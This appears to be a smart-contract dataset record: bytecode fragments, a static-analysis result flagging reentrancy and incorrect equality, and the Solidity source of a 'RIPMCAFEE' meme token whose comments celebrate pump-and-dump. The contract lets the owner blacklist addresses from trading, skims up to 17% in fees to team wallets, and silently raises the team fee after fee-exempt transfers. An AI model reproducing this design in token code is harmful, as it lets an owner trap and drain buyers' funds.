fffffffffff16815260200191505060405180910390f35b3480156108e657600080fd5b50610929600480360360208110156108fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e9e565b6040518082815260200191505060405180910390f35b34801561094b57600080fd5b50610954611eb6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561098c57600080fd5b506109d9600480360360408110156109a357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611edc565b6040518082815260200191505060405180910390f35b3480156109fb57600080fd5b50610a7f60048036036060811015610a1257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080604001906002806020026040519081016040528092919082600260200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611f04565b60405180821515815260200191505060405180910390f35b348015610aa357600080fd5b50610aac612189565b6040518082815260200191505060405180910390f35b348015610ace57600080fd5b50610b1160048036036020811015610ae557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061218f565b005b348015610b1f57600080fd5b50610b28612215565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000610b5f42612355565b905090565b60096020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080610ba330611585565b50905060005b60028160ff161015610c80576000848260ff1660028110610bc657fe5b60200201511115610c0457610c03828260ff1660028110610be357fe5b60200201513330878560ff1660028110610bf957fe5b602002015161236a565b5b838160ff1660028110610c1357fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff1660028110610c6557fe5b01600082825401925050819055508080600101915050610ba9565b503373ffffffffffffffffffffffffffffffffffffffff167f81cc83752411cb6586c3b31511a1bf6f737652853ffc35f651ba6b812c961399846040518082600260200280838360005b83811015610ce5578082015181840152602081019050610cca565b5050505090500191505060405180910390a26001915050919050565b600080600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154905060008114610d6857610d59610b54565b610d6282612355565b14610d6b565b60005b915050919050565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816002015414610e4c57610dca610b54565b610dd78260020154612355565b1415610e4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f6e6f7420616c6c6f776564206e6f77000000000000000000000000000000000081525060200191505060405180910390fd5b5b60008160010154905060008111610ecb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6e6f74207374616b65000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ef8600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338361254e565b6000826001018190555060008260020181905550610f21816007546122c190919063ffffffff16565b6007819055503373ffffffffffffffffffffffffffffffffffffffff167f3cb38f529468694fde7182fa11a664974b1c24236d529f5605149d682e2cf6566007546040518082815260200191505060405180910390a25050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe557600080fd5b505afa158015610ff9573d6000803e3d6000fd5b505050506040513d602081101561100f57600080fd5b8101908080519060200190929190505050905090565b60006001547f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f60001b8a8a8a8a8a604051602001808781526020018673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838152602001821515815260200196505050505050506040516020818303038152906040528051906020012060405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614156111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c69642d616464726573732d3000000000000000000000000000000081525060200191505060405180910390fd5b60018185858560405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561121e573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f696e76616c69642d7065726d697400000000000000000000000000000000000081525060200191505060405180910390fd5b60008614806112d75750854211155b611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f7065726d69742d6578706972656400000000000000000000000000000000000081525060200191505060405180910390fd5b600b60008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055871461140b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f696e76616c69642d6e6f6e63650000000000000000000000000000000000000081525060200191505060405180910390fd5b42600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055508873ffffffffffffffffffffffffffffffffffffffff167f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427600860008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546040518082815260200191505060405180910390a2505050505050505050565b7f21cd9aa44f4218d88de398865e90b6302b1c68dbeecba1ed08e507cb29ef9d6f60001b81565b60015481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600181526020017f310000000000000000000000000000000000000000000000000000000000000081525081565b60075481565b60025481565b61158d612d73565b611595612d95565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156115fd57600080fd5b505afa158015611611573d6000803e3d6000fd5b505050506040513d602081101561162757600080fd5b81019080805190602001909291905050508260006002811061164557fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156116e457600080fd5b505afa1580156116f8573d6000803e3d6000fd5b505050506040513d602081101561170e57600080fd5b81019080805190602001909291905050508260016002811061172c57fe5b602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508160006002811061177057fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156117db57600080fd5b505afa1580156117ef573d6000803e3d6000fd5b505050506040513d602081101561180557600080fd5b81019080805190602001909291905050508160006002811061182357fe5b6020020181815250508160016002811061183957fe5b602002015173ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156118a457600080fd5b505afa1580156118b8573d6000803e3d6000fd5b505050506040513d60208110156118ce57600080fd5b8101908080519060200190929190505050816001600281106118ec57fe5b602002018181525050915091565b611902611a5b565b611974576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611a9d612730565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000611ac3611a5b565b611b35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390584846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611bde57600080fd5b505af1158015611bf2573d6000803e3d6000fd5b505050506040513d6020811015611c0857600080fd5b8101908080519060200190929190505050905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611d27576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f496e76616c69642074726164652070616972000000000000000000000000000081525060200191505060405180910390fd5b60008111611d9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f416d6f756e74206f66206572726f72000000000000000000000000000000000081525060200191505060405180910390fd5b611dcb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1633308461236a565b6000611dd633612738565b9050818160010160008282540192505081905550816007600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff167febedb8b3c678666e7f36970bc8f57abf6d8fa2e828c0da91ea5b75bf68ed101a6007546040518082815260200191505060405180910390a25050565b60086020528060005260406000206000915090508060000154908060010154908060020154905083565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b6020528060005260406000206000915090505481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528160005260406000208160028110611ef857600080fd5b01600091509150505481565b600080611f1030611585565b509050600083600060028110611f2257fe5b60200201511115611f5b57611f5a81600060028110611f3d57fe5b60200201518585600060028110611f5057fe5b6020020151612804565b5b600083600160028110611f6a57fe5b60200201511115611fa357611fa281600160028110611f8557fe5b60200201518585600160028110611f9857fe5b6020020151612804565b5b60005b60028160ff16101561210557838160ff1660028110611fc157fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff166002811061201357fe5b01541015612089576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f6e6f742073756666696369656e742066756e647300000000000000000000000081525060200191505060405180910390fd5b838160ff166002811061209857fe5b6020020151600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208260ff16600281106120ea57fe5b01600082825403925050819055508080600101915050611fa6565b508373ffffffffffffffffffffffffffffffffffffffff167f4a1e112438f12d617d971a4446770d73935b4138bfa36f7dbf3aa4692f79159a8460006002811061214b57fe5b60200201518560016002811061215d57fe5b6020020151604051808381526020018281526020019250505060405180910390a2600191505092915050565b600c5481565b612197611a5b565b612209576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b61221281612907565b50565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008083141561224e57600090506122bb565b600082840290508284828161225f57fe5b04146122b6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612dde6021913960400191505060405180910390fd5b809150505b92915050565b600061230383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612a4a565b905092915050565b600061234d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b0a565b905092915050565b600061236360025483612bd0565b9050919050565b6000808573ffffffffffffffffffffffffffffffffffffffff166323b872dd868686604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200193505050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061244a5780518252602082019150602081019050602083039250612427565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146124ac576040519150601f19603f3d011682016040523d82523d6000602084013e6124b1565b606091505b50915091508180156124f157506000815114806124f057508080602001905160208110156124de57600080fd5b81019080805190602001909291905050505b5b612546576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612e226024913960400191505060405180910390fd5b505050505050565b6000808473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb8585604051602401808373ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831061261057805182526020820191506020810190506020830392506125ed565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612672576040519150601f19603f3d011682016040523d82523d6000602084013e612677565b606091505b50915091508180156126b757506000815114806126b657508080602001905160208110156126a457600080fd5b81019080805190602001909291905050505b5b612729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5472616e7366657248656c7065723a205452414e534645525f4641494c45440081525060200191505060405180910390fd5b5050505050565b600033905090565b600080600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506000816000015414156127fb57600c60008154809291906001019190505550600c5481600001819055508260096000600c54815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80915050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156128f657600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d826040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156128cf57600080fd5b505af11580156128e3573d6000803e3d6000fd5b505050506128f18282612c14565b612902565b61290183838361254e565b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561298d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612db86026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000838311158290612af7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612abc578082015181840152602081019050612aa1565b50505050905090810190601f168015612ae95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290612bb6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b7b578082015181840152602081019050612b60565b50505050905090810190601f168015612ba85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bc257fe5b049050809150509392505050565b600082821015612be35760009050612c0e565b612c0b62015180612bfd85856122c190919063ffffffff16565b61230b90919063ffffffff16565b90505b92915050565b60008273ffffffffffffffffffffffffffffffffffffffff1682600067ffffffffffffffff81118015612c4657600080fd5b506040519080825280601f01601f191660200182016040528015612c795781602001600182028036833780820191505090505b506040518082805190602001908083835b60208310612cad5780518252602082019150602081019050602083039250612c8a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612d0f576040519150601f19603f3d011682016040523d82523d6000602084013e612d14565b606091505b5050905080612d6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612dff6023913960400191505060405180910390fd5b505050565b6040518060400160405280600290602082028036833780820191505090505090565b604051806040016040528060029060208202803683378082019150509050509056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775472616e7366657248656c7065723a204554485f5452414e534645525f4641494c45445472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a2646970667358221220cd399b02fceefc8d2acdb4af3cf79c68012f37b4046fd0172d6414a63b60051064736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 9,423 |
0xbc5222c9634c324dbfb9572E9990d6068E366bbB
|
// Rest In Peace John McAfee (RIPMCAFEE☠️)
//
// TG: https://t.me/RESTINPEACEMCAFEE
//
// The crypto space will never be the same without
// the legend, John McAfee. Pay your respects as
// we ape like the good old days into this DeFi
// protocol dedicated to the original coin-of-the-day,
// pump-and-dumping, piano-playing, government-antagonizing,
// beautiful-minded man: John McAfee.
//
// "BUY BUY BUY" -John McAfee
//
// Full liquidity provided to pay respects.
//
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract RIPMCAFEE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Rest In Peace John McAfee";
string private constant _symbol = 'RIPMCAFEE\xE2\x98\xA0\xEF\xB8\x8F';
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e6b565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612972565b61045e565b6040516101789190612e50565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061300d565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061291f565b61048d565b6040516101e09190612e50565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612885565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613082565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129fb565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612885565b610783565b6040516102b1919061300d565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d82565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e6b565b60405180910390f35b348015610